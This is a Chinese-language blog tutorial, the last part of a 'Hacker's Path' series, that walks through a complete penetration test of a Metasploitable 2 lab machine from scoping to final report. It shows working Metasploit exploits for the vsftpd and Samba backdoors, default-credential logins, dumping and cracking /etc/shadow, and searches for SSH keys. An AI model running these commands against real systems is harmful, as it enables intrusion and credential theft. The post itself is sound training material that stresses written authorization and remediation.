菜单
关于 服务 历程 与我合作
Security operations center
Security 2026年3月8日 • 30分钟阅读

完整审计:从头到尾的完整渗透测试

Put it all together. Walk through a complete penetration test from scoping to final report. The capstone of The Hacker's Path series.

分享:
Lee Foropoulos

Lee Foropoulos

30分钟阅读

黑客之路:五部曲系列

第一部分:入门第二部分:Flipper精通第三部分:Kali基础第四部分:漏洞利用第五部分:完整审计

你从好奇黑客到底在做什么开始了这个系列。你了解到,这不是关于连帽衫和绿色屏幕文字。这是有条不紊的问题解决。你克隆了门禁卡,绘制了网络拓扑,捕获了握手包,在漏洞机器上获得了shell。

现在我们把一切整合起来。这篇文章将带你完成一次针对虚构目标的完整渗透测试。每个阶段、每个决策、每个发现,都按照专业人士的方式记录。

场景设定

客户: Initech Labs(一家虚构的小型科技公司)

范围: 内部网络渗透测试

目标: 识别漏洞并展示潜在的业务影响

你的目标: 你自己的实验室网络(Kali + Metasploitable 2 + 你搭建的其他虚拟机)

倒杯咖啡。接下来会很有趣。

第一阶段:前期准备

在触碰键盘之前,专业渗透测试人员会先处理业务方面的事项。跳过这一步,你就不是渗透测试人员。你只是一个在犯罪的人。

范围界定电话会议

在真实项目中,你会与客户通话以了解:

  • 什么在范围内? 哪些网络、IP范围、应用程序?
  • 什么在范围外? 生产系统?第三方服务?
  • 测试窗口? 什么时候可以测试?只能在工作时间?
  • 联系人? 如果出了问题找谁?
  • 目标? 合规打勾还是真正的安全改进?

针对你的实验室

范围: 仅你的隔离实验室网络。范围外: 地球上的一切其他东西。测试窗口: 随时。目标: 在实践中学习。

参与规则

真实项目有书面规则。以下是它们通常涵盖的内容:

  • 授权书 - 证明你有权限的签名文件
  • 升级程序 - 发现严重问题时该怎么做
  • 数据处理 - 如何处理你遇到的敏感数据
  • 清理要求 - 完成后删除所有工具和后门
  • 报告时间线 - 最终报告何时到期?

务必获得书面授权

即使是对朋友网络的"友好"测试也一样。一封签名的邮件写着"你有权限在某日至某日测试我的网络"可能就是学习经历和刑事定罪之间的区别。认真对待这件事。

第二阶段:侦察

是时候了解目标的一切了。在真实项目中,这将包括OSINT(开源情报):Google搜索、LinkedIn档案、公司网站、DNS记录。对于我们的实验室,我们直接进入主动侦察。

步骤1:网络发现

第一个问题:这个网络上有什么?

bash# 查找你的网络范围
ip a | grep inet
# 寻找类似:inet 192.168.56.100/24

# 发现所有存活主机
sudo nmap -sn 192.168.56.0/24 -oA discovery

# 结果(示例):
Nmap scan report for 192.168.56.1
Host is up (0.00032s latency).
Nmap scan report for 192.168.56.101
Host is up (0.00089s latency).
Nmap scan report for 192.168.56.102
Host is up (0.00045s latency).

记录一切。创建如下笔记:

text# Initech Labs - 网络发现
# 日期:2026-03-08
# 测试人员:你的名字

192.168.56.1   - 网关/路由器
192.168.56.101 - 未知(待调查)
192.168.56.102 - 未知(待调查)

步骤2:端口扫描

现在深入挖掘。运行着哪些服务?

bash# 带服务检测的全端口扫描
sudo nmap -sV -sC -p- -oA full_scan 192.168.56.101

# 这需要一些时间。学习期间要更快的结果:
sudo nmap -sV -sC --top-ports 1000 -oA quick_scan 192.168.56.101

在Metasploitable 2上,你会看到一座宝库:

textPORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
80/tcp   open  http        Apache httpd 2.2.8
139/tcp  open  netbios-ssn Samba smbd 3.X
445/tcp  open  netbios-ssn Samba smbd 3.X
3306/tcp open  mysql       MySQL 5.0.51a
5432/tcp open  postgresql  PostgreSQL DB
...

暴露程度惊人。更新我们的笔记:

text192.168.56.101 - Linux服务器(Metasploitable)
  - FTP (21): vsftpd 2.3.4       # 已知后门!
  - SSH (22): OpenSSH 4.7p1      # 古董级别
  - Telnet (23): 活跃             # 2026年了为什么还有这个?
  - HTTP (80): Apache 2.2.8      # 待测试的Web应用
  - SMB (139/445): Samba 3.X     # 潜在的金矿
  - MySQL (3306): 5.0.51a        # 数据库访问?
  - PostgreSQL (5432): 活跃      # 另一个数据库

步骤3:漏洞识别

是时候看看什么是真正可利用的了。

bash# 运行漏洞扫描脚本
sudo nmap --script vuln -oA vuln_scan 192.168.56.101

# 在Metasploit中检查特定服务
msfconsole
msf6 > search vsftpd
msf6 > search samba 3
msf6 > search apache 2.2

vsftpd 2.3.4后门立刻引起注意。那是一个确定的shell。但优秀的渗透测试人员不会在第一个发现处停下。你要记录一切。

服务器机房中闪烁的网络设备
彻底的侦察在发射任何利用代码之前就绘制出整个攻击面。每个开放端口和服务版本都成为你评估中的一个数据点。

第三阶段:漏洞利用

这里是事情变得精彩的地方。我们有多个潜在的入口点。让我们系统地逐一突破。

攻击向量1:FTP后门

bashmsf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(...) > set RHOSTS 192.168.56.101
msf6 exploit(...) > exploit

[*] Banner: 220 (vsFTPd 2.3.4)
[*] USER: 331 Please specify the password.
[+] Backdoor service has been spawned
[+] Command shell session 1 opened

whoami
root

id
uid=0(root) gid=0(root)

发现已记录: 通过FTP后门获得root shell。从首次扫描到完全入侵的时间:大约10分钟。

通过FTP后门获得root shell。从首次扫描到完全入侵的时间:大约10分钟。

但我们不止于此。还能进入哪里?

攻击向量2:Samba

bash# 将当前会话放到后台
background

msf6 > use exploit/multi/samba/usermap_script
msf6 exploit(...) > set RHOSTS 192.168.56.101
msf6 exploit(...) > exploit

[*] Command shell session 2 opened

whoami
root

通过不同的向量获得了另一个root shell。这是两条独立的完全入侵路径。

攻击向量3:Web应用

让我们看看80端口上运行着什么。

bash# 枚举Web目录
gobuster dir -u http://192.168.56.101 -w /usr/share/wordlists/dirb/common.txt

# 结果:
/cgi-bin/     (Status: 403)
/dav/         (Status: 301)
/icons/       (Status: 301)
/index        (Status: 200)
/phpMyAdmin/  (Status: 301)
/phpinfo      (Status: 200)
/test/        (Status: 301)
/twiki/       (Status: 301)

# 运行nikto获取更多发现
nikto -h http://192.168.56.101

phpMyAdmin使用默认凭据?验证一下:

text# 尝试常见凭据
Username: root
Password:(空)

# 访问成功!

无需密码即可获得数据库管理员权限。从这里,我们可以导出所有数据、修改记录,或利用MySQL的文件操作写入Web shell。

攻击向量4:SSH弱凭据

bashmsf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(...) > set RHOSTS 192.168.56.101
msf6 auxiliary(...) > set USERNAME msfadmin
msf6 auxiliary(...) > set PASSWORD msfadmin
msf6 auxiliary(...) > run

[+] 192.168.56.101:22 - Success: 'msfadmin:msfadmin'

弱凭据授予SSH访问权限。不是root,但我们会在后渗透阶段处理。

第四阶段:后渗透

我们有了访问权限。接下来呢?真正的渗透测试要展示业务影响。攻击者拥有这个权限后到底能做什么?

凭据收集

bash# 从我们的root shell
cat /etc/shadow
root:$1$xyz...truncated...:14889:0:99999:7:::
msfadmin:$1$abc...truncated...:14889:0:99999:7:::
user:$1$def...truncated...:14889:0:99999:7:::
postgres:$1$ghi...truncated...:14889:0:99999:7:::

# 保存用于离线破解
cat /etc/passwd > /tmp/passwd.txt
cat /etc/shadow > /tmp/shadow.txt

# 在Kali上破解
unshadow passwd.txt shadow.txt > combined.txt
john --wordlist=/usr/share/wordlists/rockyou.txt combined.txt

网络侦察(从内部)

bash# 这台机器能访问哪些其他网络?
ifconfig
route -n
cat /etc/hosts
arp -a

# 什么在连接这台机器?
netstat -tulpn
ss -tulpn

# 查找SSH密钥(用于横向移动)
find / -name "id_rsa" 2>/dev/null
find / -name "authorized_keys" 2>/dev/null

敏感数据发现

bash# 查找有趣的文件
find / -name "*.conf" 2>/dev/null | head -20
find / -name "*.sql" 2>/dev/null
find / -name "*.bak" 2>/dev/null
find / -name "*password*" 2>/dev/null

# 检查常见配置位置
cat /var/www/*/config.php 2>/dev/null
cat /etc/mysql/my.cnf

# 数据库枚举
mysql -u root -p  # 尝试空密码
mysql> SHOW DATABASES;
mysql> SELECT * FROM mysql.user;

权限提升(从msfadmin)

还记得用msfadmin登录SSH吗?让我们利用第四部分学到的知识提升到root。

bash# 以msfadmin身份SSH登录
ssh [email protected]

# 检查sudo权限
sudo -l
# (输出可能不同,但让我们检查其他向量)

# 查找SUID二进制文件
find / -perm -4000 2>/dev/null

# 查找root运行的可写脚本
cat /etc/crontab

# 上传并运行LinPEAS进行全面检查
# (在实际场景中,第四部分已经涵盖)
专业人员在桌前使用网络安全工具工作
后渗透展示真正的业务影响。漏洞扫描和渗透测试之间的区别在于证明攻击者获得访问权限后实际能做什么。

第五阶段:文档与发现

没有报告的测试毫无价值。这就是专业人士和脚本小子的区别。你需要解释你发现了什么、为什么重要、以及如何修复。

发现摘要

以下是我们在"Initech Labs"网络中的发现,按照真实报告的格式呈现:

严重:FTP服务后门(CVE-2011-2523)

受影响系统: 192.168.56.101

风险: 远程未认证代码执行,获得root权限

证据: 在60秒内获得完整root shell

建议: 立即将vsftpd更新到当前版本或完全禁用FTP服务。

严重:Samba远程代码执行

受影响系统: 192.168.56.101

风险: 远程未认证代码执行,获得root权限

证据: 通过usermap_script利用获得完整root shell

建议: 将Samba更新到当前版本。限制SMB访问仅限必要系统。

高:MySQL Root无密码访问

受影响系统: 192.168.56.101

风险: 完全数据库入侵、数据窃取、Web shell部署

证据: 通过phpMyAdmin使用空密码以root身份登录

建议: 设置强root密码。限制phpMyAdmin访问。考虑完全移除phpMyAdmin。

高:SSH弱凭据

受影响系统: 192.168.56.101

风险: 认证访问导致权限提升

证据: msfadmin:msfadmin成功认证

建议: 实施强密码策略。实施基于SSH密钥的认证。考虑使用fail2ban。

中:Telnet服务已启用

受影响系统: 192.168.56.101

风险: 凭据以明文传输

证据: 端口23开放并接受连接

建议: 禁用Telnet。使用SSH进行所有远程管理。

低:phpinfo()页面暴露

受影响系统: 192.168.56.101

风险: 信息泄露有助于进一步攻击

证据: http://192.168.56.101/phpinfo无需认证即可访问

建议: 删除或限制对phpinfo页面的访问。

执行摘要

这是高管们真正会看的部分。保持简短、有影响力、不用术语:

执行摘要

在对Initech Labs内部网络的渗透测试中,安全团队在评估开始后10分钟内即获得了主服务器的完全管理控制权。

关键发现:

10 min
从首次扫描到在未打补丁服务的服务器上完全root入侵的时间。
  • 2个严重漏洞允许立即远程接管
  • 2个高危问题暴露数据库和用户凭据
  • 多个中低危发现表明系统性安全缺陷

结论: 具备基本技能的攻击者可以在几分钟内完全入侵该系统。所有严重和高危发现需要立即修复。建议在修复完成后进行后续评估。

第六阶段:清理与收尾

专业的渗透测试人员会让环境保持与发现时完全一样的状态。

bash# 记录所有会话
msf6 > sessions -l

# 终止所有会话
msf6 > sessions -K

# 在目标上(如果你创建了任何文件):
rm /tmp/linpeas.sh
rm /tmp/*.txt

# 删除你创建的所有用户
userdel testuser

# 删除你添加的所有SSH密钥
rm /home/*/.ssh/authorized_keys

# 记录你删除的一切

在真实项目中,你还需要:

  • 删除测试期间上传的所有工具
  • 记录对环境做出的任何更改
  • 提供你提取的任何数据的哈希/校验和
  • 在交付报告后安全删除所有客户数据

完整方法论清单

以下是你可以在任何渗透测试中重复使用的工作流程:

渗透测试方法论

  1. 前期准备
    • 定义范围和参与规则
    • 获得书面授权
    • 建立沟通渠道
    • 搭建测试环境
  2. 侦察
    • 网络发现(主机枚举)
    • 端口扫描和服务识别
    • 漏洞扫描
    • Web应用枚举
    • 记录一切
  3. 漏洞利用
    • 验证漏洞(不要盲目信任扫描器)
    • 利用已确认的漏洞
    • 记录每次成功入侵
    • 捕获证据(截图、日志)
  4. 后渗透
    • 枚举被入侵系统
    • 收集凭据
    • 识别敏感数据
    • 尝试权限提升
    • 寻找横向移动机会
  5. 报告
    • 撰写执行摘要(业务影响)
    • 记录所有发现及证据
    • 提供修复建议
    • 为IT团队包含技术细节
  6. 清理
    • 删除所有工具和痕迹
    • 终止所有会话和后门
    • 记录任何环境变更
    • 安全处理客户数据
完整审计行动计划 0/6

接下来:你的前进之路

你已经完成了黑客之路。你从"黑客到底是什么意思"走到了进行完整的渗透测试。这真的令人印象深刻。

但这只是开始。以下是接下来的方向:

练习平台

  • Hack The Box - 真实的练习机器。从已退役的"Easy"级别开始。
  • TryHackMe - 引导式学习路径。非常适合结构化进步。
  • VulnHub - 免费的漏洞虚拟机,下载后在本地练习。
  • PentesterLab - 专注Web应用安全。

认证(如果你需要的话)

  • eJPT (eLearnSecurity Junior Penetration Tester) - 很好的起点,实操考试
  • OSCP (Offensive Security Certified Professional) - 行业标准,艰难但受尊重
  • PNPT (Practical Network Penetration Tester) - 现代化、实用,包含报告撰写
  • CEH (Certified Ethical Hacker) - 企业岗位的入场券,实操性较弱

专业方向

  • Web应用安全 - OWASP、Burp Suite、SQL注入、XSS
  • Active Directory - 大多数企业环境都运行在上面
  • 云安全 - AWS、Azure、GCP渗透测试
  • 移动安全 - Android/iOS应用测试
  • Red Teaming - 完整对手模拟,物理+数字
  • 逆向工程 - 恶意软件分析、漏洞利用开发

建设你的家庭实验室

最优秀的渗透测试人员拥有精心搭建的家庭实验室。从简单开始,逐步扩展:

  • 添加带Active Directory的Windows Server
  • 搭建域控制器
  • 部署漏洞Web应用(DVWA、bWAPP、WebGoat)
  • 构建多网段网络
  • 添加HoneyAegis,从防御者的视角观察攻击

黑客之路:完结

你做到了。五个部分全部完成,从好奇到有能力。

第一部分:入门 第二部分:Flipper精通 第三部分:Kali基础 第四部分:漏洞利用 第五部分:完整审计

系列完结 - 你的旅程

第一部分: 你了解了黑客的真正含义,并用Flipper Zero取得了第一次胜利

第二部分: 你掌握了Flipper的每个协议:Sub-GHz、RFID、NFC、BadUSB、GPIO

第三部分: 你搭建了Kali实验室,学会了nmap,捕获了WiFi握手包

第四部分: 你掌握了Metasploit、漏洞利用、权限提升和横向移动

第五部分: 你将一切整合为完整的渗透测试方法论

安全不是终点。它是一种实践。工具会变,漏洞会进化,但方法论始终如一。质疑一切。记录一切。永不停止学习。

欢迎来到另一边。

  • Lee
How was this article?

分享

Link copied to clipboard!

You Might Also Like

Lee Foropoulos

Lee Foropoulos

Business Development Lead at Lookatmedia, fractional executive, and founder of gotHABITS.

🔔

Bu cuoguo renhe wenzhang

Xin wenzhang fabu shi huoqu tongzhi. Wu xu dianzi youjian.

You xinwenzhang shi ninjianghui kandao wangzhan banner he liulanqi tongzhi (xu yunxu).

Jin liulanqi tongzhi. Wu laji youjian.